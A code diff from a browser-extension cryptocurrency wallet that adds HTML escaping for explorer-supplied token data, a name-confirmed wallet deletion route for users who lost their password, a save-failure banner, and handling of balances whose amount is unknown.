if (!state.hasWallet) {
|
||||||
|
clearViewStack();
|
||||||
|
await saveState();
|
||||||
|
// Save before broadcasting: the background reads the active
|
||||||
|
// address back out of storage to build accountsChanged.
|
||||||
|
if (activeAddressChanged) broadcastActiveChanged();
|
||||||
|
showView("welcome");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
await saveState();
|
||||||
|
if (activeAddressChanged) broadcastActiveChanged();
|
||||||
|
// Reset stack to [main] so Settings back goes home.
|
||||||
|
// Use require() lazily to avoid circular dependency
|
||||||
|
// (settings.js requires deleteWallet.js).
|
||||||
|
clearViewStack();
|
||||||
|
state.viewStack.push("main");
|
||||||
|
ctx.renderWalletList();
|
||||||
|
const settings = require("./settings");
|
||||||
|
settings.show();
|
||||||
|
showFlash("Wallet deleted.");
|
||||||
|
}
|
||||||
|
|
||||||
function init(_ctx) {
|
function init(_ctx) {
|
||||||
ctx = _ctx;
|
ctx = _ctx;
|
||||||
|
|
||||||
onViewLeave("delete-wallet-confirm", clear);
|
onViewLeave("delete-wallet-confirm", clear);
|
||||||
|
onViewLeave("delete-wallet-lost-password", clearLostPassword);
|
||||||
|
|
||||||
// No wipe here: goBack() routes through showView(), which runs the
|
// No wipe here: goBack() routes through showView(), which runs the
|
||||||
// leave hook.
|
// leave hook.
|
||||||
@@ -47,6 +138,60 @@ function init(_ctx) {
|
|||||||
goBack();
|
goBack();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// The escape hatch, and deliberately not gated on anything a user who
|
||||||
|
// has lost the password cannot produce. A password in front of
|
||||||
|
// DISCARDING a secret protects nobody: an attacker at the popup who
|
||||||
|
// wants the wallet gone can uninstall the extension, so the only
|
||||||
|
// person such a gate stops is the owner who forgot it — and before
|
||||||
|
// this route existed that owner could neither delete the wallet nor
|
||||||
|
// import its recovery phrase again, because AddWallet refuses the xpub
|
||||||
|
// as a duplicate while the wallet is still stored.
|
||||||
|
$("btn-delete-wallet-lost-password").addEventListener("click", () => {
|
||||||
|
showLostPassword();
|
||||||
|
});
|
||||||
|
|
||||||
|
$("btn-delete-wallet-lost-back").addEventListener("click", () => {
|
||||||
|
const walletIdx = lostPasswordIndex;
|
||||||
|
if (walletIdx === null) {
|
||||||
|
goBack();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
show(walletIdx);
|
||||||
|
});
|
||||||
|
|
||||||
|
$("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
|
||||||
|
if (lostPasswordIndex === null) {
|
||||||
|
$("delete-wallet-lost-flash").textContent =
|
||||||
|
"No wallet selected for deletion.";
|
||||||
|
$("delete-wallet-lost-flash").style.visibility = "visible";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Case, surrounding spaces and repeated inner spaces are not part
|
||||||
|
// of the confirmation; see confirmKey(). This asks whether the
|
||||||
|
// user knows which wallet they are on; it is not a secret, and
|
||||||
|
// refusing "wallet 2" for "Wallet 2" would only teach the user to
|
||||||
|
// distrust the control.
|
||||||
|
const typed = $("delete-wallet-lost-name-input").value;
|
||||||
|
const expected = displayName(lostPasswordIndex);
|
||||||
|
if (confirmKey(typed) !== confirmKey(expected)) {
|
||||||
|
$("delete-wallet-lost-flash").textContent =
|
||||||
|
"That is not the name of this wallet. Type " +
|
||||||
|
expected +
|
||||||
|
" to confirm.";
|
||||||
|
$("delete-wallet-lost-flash").style.visibility = "visible";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const btn = $("btn-delete-wallet-lost-confirm");
|
||||||
|
btn.disabled = true;
|
||||||
|
btn.classList.add("text-muted");
|
||||||
|
|
||||||
|
// finishDelete() navigates, and the leave hook re-enables the
|
||||||
|
// button and wipes the typed name on the way out.
|
||||||
|
await finishDelete(lostPasswordIndex);
|
||||||
|
});
|
||||||
|
|
||||||
$("btn-delete-wallet-confirm").addEventListener("click", async () => {
|
$("btn-delete-wallet-confirm").addEventListener("click", async () => {
|
||||||
const pw = $("delete-wallet-password").value;
|
const pw = $("delete-wallet-password").value;
|
||||||
if (!pw) {
|
if (!pw) {
|
||||||
@@ -82,34 +227,7 @@ function init(_ctx) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Remove the wallet and repair selection, permissions and hasWallet
|
await finishDelete(walletIdx);
|
||||||
const { activeAddressChanged } = removeWalletFromState(
|
|
||||||
state,
|
|
||||||
walletIdx,
|
|
||||||
);
|
|
||||||
|
|
||||||
deleteWalletIndex = null;
|
|
||||||
|
|
||||||
if (!state.hasWallet) {
|
|
||||||
clearViewStack();
|
|
||||||
await saveState();
|
|
||||||
// Save before broadcasting: the background reads the active
|
|
||||||
// address back out of storage to build accountsChanged.
|
|
||||||
if (activeAddressChanged) broadcastActiveChanged();
|
|
||||||
showView("welcome");
|
|
||||||
} else {
|
|
||||||
await saveState();
|
|
||||||
if (activeAddressChanged) broadcastActiveChanged();
|
|
||||||
// Reset stack to [main] so Settings back goes home.
|
|
||||||
// Use require() lazily to avoid circular dependency
|
|
||||||
// (settings.js requires deleteWallet.js).
|
|
||||||
clearViewStack();
|
|
||||||
state.viewStack.push("main");
|
|
||||||
ctx.renderWalletList();
|
|
||||||
const settings = require("./settings");
|
|
||||||
settings.show();
|
|
||||||
showFlash("Wallet deleted.");
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,22 @@
|
|||||||
// Shared DOM helpers used by all views.
|
// Shared DOM helpers used by all views.
|
||||||
|
//
|
||||||
|
// Escaping rule for every view in this directory, since they all build
|
||||||
|
// markup by concatenation: any VALUE interpolated into an innerHTML string
|
||||||
|
// goes through escapeHtml(), whatever its provenance looks like today. The
|
||||||
|
// only interpolations left bare are markup FRAGMENTS this code just built
|
||||||
|
// (a rendered dot, an icon, a composed row), which escaping would turn into
|
||||||
|
// visible angle brackets, and locally computed numbers and loop indices.
|
||||||
|
// The distinction is meant to be greppable: an unescaped `${` next to a
|
||||||
|
// name that reads like data is a defect.
|
||||||
|
|
||||||
|
// escapeHtml lives in src/shared/html.js, where the escape and the
|
||||||
|
// reasoning behind it are; it is re-exported below so views keep importing
|
||||||
|
// it from here.
|
||||||
|
const { escapeHtml } = require("../../shared/html");
|
||||||
const { isDebug } = require("../../shared/log");
|
const { isDebug } = require("../../shared/log");
|
||||||
const { formatUsd, getPrice } = require("../../shared/prices");
|
const { formatUsd, getPrice } = require("../../shared/prices");
|
||||||
const { state, saveState, currentNetwork } = require("../../shared/state");
|
const { state, saveState, currentNetwork } = require("../../shared/state");
|
||||||
|
const { displaySymbol } = require("../../shared/symbolDisplay");
|
||||||
const { markViewRendered } = require("../viewRouter");
|
const { markViewRendered } = require("../viewRouter");
|
||||||
|
|
||||||
// When views are added, removed, or transitions between them change,
|
// When views are added, removed, or transitions between them change,
|
||||||
@@ -22,6 +36,7 @@ const VIEWS = [
|
|||||||
"add-token",
|
"add-token",
|
||||||
"settings",
|
"settings",
|
||||||
"delete-wallet-confirm",
|
"delete-wallet-confirm",
|
||||||
|
"delete-wallet-lost-password",
|
||||||
"delete-address-confirm",
|
"delete-address-confirm",
|
||||||
"settings-addtoken",
|
"settings-addtoken",
|
||||||
"transaction",
|
"transaction",
|
||||||
@@ -30,6 +45,11 @@ const VIEWS = [
|
|||||||
"approve-sign",
|
"approve-sign",
|
||||||
"export-privkey",
|
"export-privkey",
|
||||||
"show-phrase",
|
"show-phrase",
|
||||||
|
// Shown by src/popup/views/stateRecovery.js when the stored profile
|
||||||
|
// cannot be read. It is never reached through showView() — by then the
|
||||||
|
// state singleton this file writes on every navigation refuses to be read
|
||||||
|
// — but it is listed so that every view-hiding loop covers it.
|
||||||
|
"state-recovery",
|
||||||
];
|
];
|
||||||
|
|
||||||
// Cleanup callbacks for views that hold a secret in the DOM. The view
|
// Cleanup callbacks for views that hold a secret in the DOM. The view
|
||||||
@@ -112,6 +132,38 @@ function updateDebugBanner(viewName) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The banner shown when a save has failed, registered as the save-failure
|
||||||
|
// reporter by src/popup/index.js.
|
||||||
|
//
|
||||||
|
// Persistent and not dismissable, unlike showFlash(): what it says is true
|
||||||
|
// until the popup is closed, and a message that clears itself after two seconds
|
||||||
|
// is how the user goes on operating a wallet that is persisting nothing
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/362). It survives navigation
|
||||||
|
// because it hangs off document.body rather than off a view.
|
||||||
|
//
|
||||||
|
// Created on demand rather than authored in index.html, the same way
|
||||||
|
// updateDebugBanner() creates its own: it is absent from a popup where nothing
|
||||||
|
// has failed, which is the state that must not need markup to be in.
|
||||||
|
//
|
||||||
|
// textContent, never innerHTML: `detail` carries an error message, which may
|
||||||
|
// come from the browser's storage layer.
|
||||||
|
function showSaveFailureBanner(detail) {
|
||||||
|
let banner = document.getElementById("save-failure-banner");
|
||||||
|
if (!banner) {
|
||||||
|
banner = document.createElement("div");
|
||||||
|
banner.id = "save-failure-banner";
|
||||||
|
banner.style.cssText =
|
||||||
|
"background:#c00;color:#fff;text-align:center;font-size:10px;padding:2px 4px;font-family:monospace;position:sticky;top:0;z-index:10000;";
|
||||||
|
document.body.prepend(banner);
|
||||||
|
}
|
||||||
|
const message = (detail && (detail.message || detail.problem)) || detail;
|
||||||
|
banner.textContent =
|
||||||
|
"NOT SAVED — AutistMask could not write to storage, so recent" +
|
||||||
|
" changes are not stored. Close and reopen the popup; if this keeps" +
|
||||||
|
" happening, do not rely on anything you change now." +
|
||||||
|
(message ? " (" + String(message) + ")" : "");
|
||||||
|
}
|
||||||
|
|
||||||
// Callback that renders a view being navigated BACK onto. Set once by
|
// Callback that renders a view being navigated BACK onto. Set once by
|
||||||
// index.js via setBackRenderer(), which routes the view through the same
|
// index.js via setBackRenderer(), which routes the view through the same
|
||||||
// per-view render and data guards restoreView() uses.
|
// per-view render and data guards restoreView() uses.
|
||||||
@@ -177,17 +229,44 @@ function showFlash(msg, duration = 2000) {
|
|||||||
}, duration);
|
}, duration);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A stored token balance as a number, or null when there is no number in it.
|
||||||
|
// balances.js writes null for a holding whose scale nothing knows, and this
|
||||||
|
// keeps that null from becoming a zero one dereference later.
|
||||||
|
function unknownableAmount(balance) {
|
||||||
|
if (balance == null) return null;
|
||||||
|
const n = parseFloat(balance);
|
||||||
|
return Number.isFinite(n) ? n : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// One row of the balance list: symbol, quantity, fiat value.
|
||||||
|
//
|
||||||
|
// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
|
||||||
|
// so it is attacker-chosen markup until it has been through escapeHtml, and
|
||||||
|
// attacker-chosen length until it has been through displaySymbol. This is
|
||||||
|
// the row that issue #307 was reported against: every screen that lists a
|
||||||
|
// holding renders through here.
|
||||||
|
//
|
||||||
|
// `amount` is null for a holding whose scale nothing knows
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/349). There is no quantity to
|
||||||
|
// print for it and no fiat value to derive from one, and printing 0.0000 for
|
||||||
|
// a real holding is the failure this whole rule exists to prevent, so the row
|
||||||
|
// says so instead.
|
||||||
function balanceLine(symbol, amount, price, tokenId) {
|
function balanceLine(symbol, amount, price, tokenId) {
|
||||||
const qty = amount.toFixed(4);
|
const qty = amount === null ? "quantity unknown" : amount.toFixed(4);
|
||||||
const usd = price ? formatUsd(amount * price) || " " : " ";
|
const usd =
|
||||||
const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
|
price && amount !== null
|
||||||
|
? formatUsd(amount * price) || " "
|
||||||
|
: " ";
|
||||||
|
// tokenId is a contract address out of the same explorer JSON, and it
|
||||||
|
// lands inside a quoted attribute.
|
||||||
|
const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
|
||||||
const clickClass = tokenId
|
const clickClass = tokenId
|
||||||
? " cursor-pointer hover:bg-hover balance-row"
|
? " cursor-pointer hover:bg-hover balance-row"
|
||||||
: "";
|
: "";
|
||||||
return (
|
return (
|
||||||
`<div class="flex text-xs${clickClass}"${tokenAttr}>` +
|
`<div class="flex text-xs${clickClass}"${tokenAttr}>` +
|
||||||
`<span class="flex justify-between" style="width:42ch;max-width:100%">` +
|
`<span class="flex justify-between" style="width:42ch;max-width:100%">` +
|
||||||
`<span>${symbol}</span>` +
|
`<span>${escapeHtml(displaySymbol(symbol))}</span>` +
|
||||||
`<span>${qty}</span>` +
|
`<span>${qty}</span>` +
|
||||||
`</span>` +
|
`</span>` +
|
||||||
`<span class="text-right text-muted flex-1">${usd}</span>` +
|
`<span class="text-right text-muted flex-1">${usd}</span>` +
|
||||||
@@ -204,7 +283,12 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
|
|||||||
);
|
);
|
||||||
const seen = new Set();
|
const seen = new Set();
|
||||||
for (const t of addr.tokenBalances || []) {
|
for (const t of addr.tokenBalances || []) {
|
||||||
const bal = parseFloat(t.balance || "0");
|
// A null balance is a holding of an unstatable amount, not a holding
|
||||||
|
// of zero, so the show-zero setting has no say over it: hiding it
|
||||||
|
// would be asserting the zero nobody established. Anything that does
|
||||||
|
// not parse to a finite number is unknown for the same reason — the
|
||||||
|
// `|| "0"` this replaced turned both into a confident zero.
|
||||||
|
const bal = unknownableAmount(t.balance);
|
||||||
if (bal === 0 && !showZero) continue;
|
if (bal === 0 && !showZero) continue;
|
||||||
html += balanceLine(
|
html += balanceLine(
|
||||||
t.symbol,
|
t.symbol,
|
||||||
@@ -237,7 +321,12 @@ function addressHoldsFunds(addr) {
|
|||||||
if (!addr) return false;
|
if (!addr) return false;
|
||||||
if (parseFloat(addr.balance || "0") > 0) return true;
|
if (parseFloat(addr.balance || "0") > 0) return true;
|
||||||
for (const t of addr.tokenBalances || []) {
|
for (const t of addr.tokenBalances || []) {
|
||||||
if (parseFloat(t.balance || "0") > 0) return true;
|
// A null balance is a holding whose amount could not be stated —
|
||||||
|
// balances.js drops a row of zero base units before the scale is
|
||||||
|
// consulted, so a row that survived with no quantity is holding
|
||||||
|
// something. Warning about funds must err towards warning.
|
||||||
|
const bal = unknownableAmount(t.balance);
|
||||||
|
if (bal === null || bal > 0) return true;
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -289,12 +378,6 @@ function addressDotHtml(address) {
|
|||||||
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
|
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function escapeHtml(s) {
|
|
||||||
const div = document.createElement("div");
|
|
||||||
div.textContent = s;
|
|
||||||
return div.innerHTML;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Look up an address across all wallets and return its title
|
// Look up an address across all wallets and return its title
|
||||||
// (e.g. "Address 1.2") or null if it's not one of ours.
|
// (e.g. "Address 1.2") or null if it's not one of ours.
|
||||||
function addressTitle(address, wallets) {
|
function addressTitle(address, wallets) {
|
||||||
@@ -382,13 +465,26 @@ const EXT_ICON =
|
|||||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||||
`</svg></span>`;
|
`</svg></span>`;
|
||||||
|
|
||||||
function etherscanAddressUrl(address) {
|
// Block-explorer URLs. The origin is a per-network constant from
|
||||||
return `${currentNetwork().explorerUrl}/address/${address}`;
|
// src/shared/networks.js; only the path segment is data, and it comes out
|
||||||
|
// of explorer JSON (a transaction's from/to, a token's address_hash), which
|
||||||
|
// nothing upstream validates as hex. percent-encoding it keeps a segment
|
||||||
|
// that contains a slash, a query or a fragment from re-pointing the link
|
||||||
|
// somewhere else in the explorer.
|
||||||
|
function explorerUrl(kind, value) {
|
||||||
|
return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function etherscanAddressUrl(address) {
|
||||||
|
return explorerUrl("address", address);
|
||||||
|
}
|
||||||
|
|
||||||
|
// The URL still has to be escaped on the way into href="...": encoding
|
||||||
|
// governs what the URL means, escaping governs whether it stays inside the
|
||||||
|
// attribute.
|
||||||
function etherscanLinkHtml(url) {
|
function etherscanLinkHtml(url) {
|
||||||
return (
|
return (
|
||||||
`<a href="${url}" target="_blank" rel="noopener" ` +
|
`<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
|
||||||
`class="inline-flex items-center">${EXT_ICON}</a>`
|
`class="inline-flex items-center">${EXT_ICON}</a>`
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -480,6 +576,7 @@ module.exports = {
|
|||||||
showView,
|
showView,
|
||||||
onViewLeave,
|
onViewLeave,
|
||||||
updateDebugBanner,
|
updateDebugBanner,
|
||||||
|
showSaveFailureBanner,
|
||||||
setBackRenderer,
|
setBackRenderer,
|
||||||
pushCurrentView,
|
pushCurrentView,
|
||||||
goBack,
|
goBack,
|
||||||
@@ -489,9 +586,11 @@ module.exports = {
|
|||||||
balanceLine,
|
balanceLine,
|
||||||
balanceLinesForAddress,
|
balanceLinesForAddress,
|
||||||
addressHoldsFunds,
|
addressHoldsFunds,
|
||||||
|
unknownableAmount,
|
||||||
addressColor,
|
addressColor,
|
||||||
addressDotHtml,
|
addressDotHtml,
|
||||||
escapeHtml,
|
escapeHtml,
|
||||||
|
displaySymbol,
|
||||||
addressTitle,
|
addressTitle,
|
||||||
formatAddressHtml,
|
formatAddressHtml,
|
||||||
renderAddressHtml,
|
renderAddressHtml,
|
||||||
@@ -499,6 +598,7 @@ module.exports = {
|
|||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
etherscanAddressUrl,
|
etherscanAddressUrl,
|
||||||
etherscanLinkHtml,
|
etherscanLinkHtml,
|
||||||
|
explorerUrl,
|
||||||
EXT_ICON,
|
EXT_ICON,
|
||||||
truncateMiddle,
|
truncateMiddle,
|
||||||
isoDate,
|
isoDate,
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ const {
|
|||||||
addressDotHtml,
|
addressDotHtml,
|
||||||
addressTitle,
|
addressTitle,
|
||||||
escapeHtml,
|
escapeHtml,
|
||||||
|
displaySymbol,
|
||||||
truncateMiddle,
|
truncateMiddle,
|
||||||
renderAddressHtml,
|
renderAddressHtml,
|
||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
@@ -109,10 +110,13 @@ function renderHomeTxList(ctx) {
|
|||||||
: tx.direction === "sent" || tx.direction === "contract"
|
: tx.direction === "sent" || tx.direction === "contract"
|
||||||
? tx.to
|
? tx.to
|
||||||
: tx.from;
|
: tx.from;
|
||||||
const dirLabel = tx.directionLabel;
|
// directionLabel is the explorer's own method name for a contract
|
||||||
|
// call, title-cased — attacker-chosen for an attacker's contract.
|
||||||
|
const dirLabel = escapeHtml(tx.directionLabel);
|
||||||
|
const sym = displaySymbol(tx.symbol);
|
||||||
const amountStr = tx.value
|
const amountStr = tx.value
|
||||||
? escapeHtml(tx.value + " " + tx.symbol)
|
? escapeHtml(tx.value + " " + sym)
|
||||||
: escapeHtml(tx.symbol);
|
: escapeHtml(sym);
|
||||||
const title = addressTitle(counterparty, state.wallets);
|
const title = addressTitle(counterparty, state.wallets);
|
||||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||||
const displayAddr = title || truncateMiddle(counterparty, maxAddr);
|
const displayAddr = title || truncateMiddle(counterparty, maxAddr);
|
||||||
@@ -226,7 +230,7 @@ function walletListHtml() {
|
|||||||
const defect = walletDefect(wallet);
|
const defect = walletDefect(wallet);
|
||||||
html += `<div>`;
|
html += `<div>`;
|
||||||
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
|
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
|
||||||
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
|
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
|
||||||
// No "+" on a defective wallet: deriving another address from that
|
// No "+" on a defective wallet: deriving another address from that
|
||||||
// xpub would only add one more address the key does not produce
|
// xpub would only add one more address the key does not produce
|
||||||
// under the standard path.
|
// under the standard path.
|
||||||
@@ -250,10 +254,13 @@ function walletListHtml() {
|
|||||||
const titleBold = isActive ? "font-bold" : "";
|
const titleBold = isActive ? "font-bold" : "";
|
||||||
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
|
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
|
||||||
if (addr.ensName) {
|
if (addr.ensName) {
|
||||||
html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
|
// An ENS reverse record is whatever the name owner set it
|
||||||
|
// to; renderAddressHtml() escapes its own copy of this and
|
||||||
|
// this list was the one that did not.
|
||||||
|
html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
|
||||||
}
|
}
|
||||||
html += `<div class="flex text-xs items-center justify-between">`;
|
html += `<div class="flex text-xs items-center justify-between">`;
|
||||||
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
|
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
|
||||||
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
|
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
|
||||||
html += `</div>`;
|
html += `</div>`;
|
||||||
const addrTotal = formatAddressTotal(getAddressValue(addr));
|
const addrTotal = formatAddressTotal(getAddressValue(addr));
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ const {
|
|||||||
flashCopyFeedback,
|
flashCopyFeedback,
|
||||||
formatAddressHtml,
|
formatAddressHtml,
|
||||||
addressTitle,
|
addressTitle,
|
||||||
|
displaySymbol,
|
||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
goBack,
|
goBack,
|
||||||
} = require("./helpers");
|
} = require("./helpers");
|
||||||
@@ -44,7 +45,7 @@ function show() {
|
|||||||
}
|
}
|
||||||
warningEl.textContent =
|
warningEl.textContent =
|
||||||
"This is an ERC-20 token. Only send " +
|
"This is an ERC-20 token. Only send " +
|
||||||
symbol +
|
displaySymbol(symbol) +
|
||||||
" on " +
|
" on " +
|
||||||
currentNetwork().name +
|
currentNetwork().name +
|
||||||
" to this address. Sending tokens on other networks will result in permanent loss.";
|
" to this address. Sending tokens on other networks will result in permanent loss.";
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ const {
|
|||||||
$,
|
$,
|
||||||
showFlash,
|
showFlash,
|
||||||
addressTitle,
|
addressTitle,
|
||||||
|
displaySymbol,
|
||||||
renderAddressHtml,
|
renderAddressHtml,
|
||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
goBack,
|
goBack,
|
||||||
@@ -11,6 +12,7 @@ const {
|
|||||||
const { state, currentAddress } = require("../../shared/state");
|
const { state, currentAddress } = require("../../shared/state");
|
||||||
let ctx;
|
let ctx;
|
||||||
const { getProvider } = require("../../shared/balances");
|
const { getProvider } = require("../../shared/balances");
|
||||||
|
const { resolveTokenDecimals } = require("../../shared/approvalAmount");
|
||||||
const { resolveSymbol } = require("../../shared/tokenList");
|
const { resolveSymbol } = require("../../shared/tokenList");
|
||||||
const { isLowHolderCount } = require("../../shared/holders");
|
const { isLowHolderCount } = require("../../shared/holders");
|
||||||
const { isSpoofedSymbol } = require("../../shared/symbolSpoof");
|
const { isSpoofedSymbol } = require("../../shared/symbolSpoof");
|
||||||
@@ -131,7 +133,7 @@ function renderSendTokenSelect(addr) {
|
|||||||
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
|
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
|
||||||
const opt = document.createElement("option");
|
const opt = document.createElement("option");
|
||||||
opt.value = t.address;
|
opt.value = t.address;
|
||||||
opt.textContent = t.symbol;
|
opt.textContent = displaySymbol(t.symbol);
|
||||||
sel.appendChild(opt);
|
sel.appendChild(opt);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -158,9 +160,14 @@ function updateSendBalance() {
|
|||||||
addr.tokenBalances,
|
addr.tokenBalances,
|
||||||
state.trackedTokens,
|
state.trackedTokens,
|
||||||
);
|
);
|
||||||
const bal = tb ? tb.balance || "0" : "0";
|
// A null balance is a holding whose scale nothing knows. Saying "0"
|
||||||
|
// for it would be a claim about the amount; the send itself is
|
||||||
|
// refused later by transferAmountUnits() for the same missing scale.
|
||||||
|
const bal = tb ? tb.balance : "0";
|
||||||
$("send-balance").textContent =
|
$("send-balance").textContent =
|
||||||
"Current balance: " + bal + " " + symbol;
|
bal == null
|
||||||
|
? "Current balance: unknown (" + symbol + ")"
|
||||||
|
: "Current balance: " + bal + " " + symbol;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -201,7 +208,7 @@ function init(_ctx) {
|
|||||||
let ensName = null;
|
let ensName = null;
|
||||||
if (to.includes(".") && !to.startsWith("0x")) {
|
if (to.includes(".") && !to.startsWith("0x")) {
|
||||||
try {
|
try {
|
||||||
const provider = getProvider(state.rpcUrl);
|
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||||
const resolved = await provider.resolveName(to);
|
const resolved = await provider.resolveName(to);
|
||||||
if (!resolved) {
|
if (!resolved) {
|
||||||
showFlash("Could not resolve " + to);
|
showFlash("Could not resolve " + to);
|
||||||
@@ -234,8 +241,45 @@ function init(_ctx) {
|
|||||||
addr.tokenBalances,
|
addr.tokenBalances,
|
||||||
state.trackedTokens,
|
state.trackedTokens,
|
||||||
);
|
);
|
||||||
tokenBalance = tb ? tb.balance || "0" : "0";
|
// null carried through rather than flattened to "0": the confirm
|
||||||
tokenDecimals = tb ? tb.decimals : null;
|
// screen states an unknown balance as unknown, and
|
||||||
|
// validateTransfer() treats it as no balance to spend from, which
|
||||||
|
// is the fail-closed side of an amount nobody can check.
|
||||||
|
tokenBalance = tb ? (tb.balance ?? null) : "0";
|
||||||
|
// Resolved the same way balances.js resolved the scale it
|
||||||
|
// DISPLAYED this token's balance at: bundled list, then the user's
|
||||||
|
// tracked tokens, then the explorer. The stored
|
||||||
|
// tokenBalances[].decimals is the explorer's own answer alone, so
|
||||||
|
// reading it raw carries a null forward for a token the wallet
|
||||||
|
// does know the scale of — and displayedDecimals() then throws
|
||||||
|
// inside estimateGas(), which the confirmation screen reports as
|
||||||
|
// an unestimable fee. Unsendable, over a scale that was never in
|
||||||
|
// doubt (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||||
|
// Still null when nothing knows: no fallback.
|
||||||
|
//
|
||||||
|
// Resolved WITH `wallets`, which balances.js does not pass: that
|
||||||
|
// adds explorerDecimals()'s cross-address check, so a contract two
|
||||||
|
// addresses report different scales for answers null rather than
|
||||||
|
// picking one. That check has to apply here, because this value
|
||||||
|
// encodes a transfer; balances.js is formatting one explorer row
|
||||||
|
// at fetch time and cannot consult a state it is in the middle of
|
||||||
|
// replacing.
|
||||||
|
tokenDecimals = resolveTokenDecimals(token, {
|
||||||
|
trackedTokens: state.trackedTokens,
|
||||||
|
wallets: state.wallets,
|
||||||
|
});
|
||||||
|
// The two resolutions can therefore differ, and where they do, the
|
||||||
|
// stored `balance` is a quantity computed at a scale this screen
|
||||||
|
// has just declined to stand behind. Stating it would leave
|
||||||
|
// validateTransfer() checking the amount against a number the
|
||||||
|
// wallet does not vouch for, and — since the unknown-balance path
|
||||||
|
// is gated on the balance, not on the scale — would leave the
|
||||||
|
// fee-estimate failure as the only thing on the confirmation
|
||||||
|
// screen, which says nothing about decimals. Unknown scale means
|
||||||
|
// unknown balance. Only a stored quantity is withdrawn: the "0"
|
||||||
|
// for a token that has no row at all is an absence of holdings,
|
||||||
|
// which is true at every scale.
|
||||||
|
if (tb && tokenDecimals === null) tokenBalance = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
ctx.showConfirmTx({
|
ctx.showConfirmTx({
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ const {
|
|||||||
updateDebugBanner,
|
updateDebugBanner,
|
||||||
showFlash,
|
showFlash,
|
||||||
escapeHtml,
|
escapeHtml,
|
||||||
|
displaySymbol,
|
||||||
flashCopyFeedback,
|
flashCopyFeedback,
|
||||||
goBack,
|
goBack,
|
||||||
pushCurrentView,
|
pushCurrentView,
|
||||||
@@ -43,8 +44,11 @@ function renderSiteList(containerId, siteMap, stateKey) {
|
|||||||
let html = "";
|
let html = "";
|
||||||
hostnames.forEach((hostname) => {
|
hostnames.forEach((hostname) => {
|
||||||
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
||||||
html += `<span>${hostname}</span>`;
|
// A hostname the URL parser produced cannot carry a delimiter, so
|
||||||
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
|
// this is escaped for the rule rather than for a known hole — the
|
||||||
|
// rule being that nothing reaches innerHTML unescaped.
|
||||||
|
html += `<span>${escapeHtml(hostname)}</span>`;
|
||||||
|
